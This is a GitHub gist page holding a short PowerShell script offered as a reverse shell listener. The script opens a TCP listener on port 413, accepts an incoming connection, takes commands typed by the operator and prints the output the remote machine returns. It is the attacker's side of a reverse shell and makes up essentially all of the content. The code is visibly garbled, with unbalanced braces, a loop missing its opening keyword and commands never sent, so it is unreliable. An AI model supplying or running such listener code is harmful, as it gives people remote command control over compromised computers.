Skip to content

Instantly share code, notes, and snippets.

What would you like to do?
A reverse shell listener in powershell
$socket = new-object System.Net.Sockets.TcpListener('', 413);
if($socket -eq $null){
exit 1
$client = $socket.AcceptTcpClient()
write-output "[*] Connection!"
$stream = $client.GetStream();
$writer = new-object System.IO.StreamWriter($stream);
$buffer = new-object System.Byte[] 2048;
$encoding = new-object System.Text.AsciiEncoding;
$cmd = read-host
if($cmd -eq "exit"){
$read = $null;
while($stream.DataAvailable -or $read -eq $null) {
$read = $stream.Read($buffer, 0, 2048)
$out = $encoding.GetString($buffer, 0, $read)
Write-Output $out
} While ($client.Connected -eq $true)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment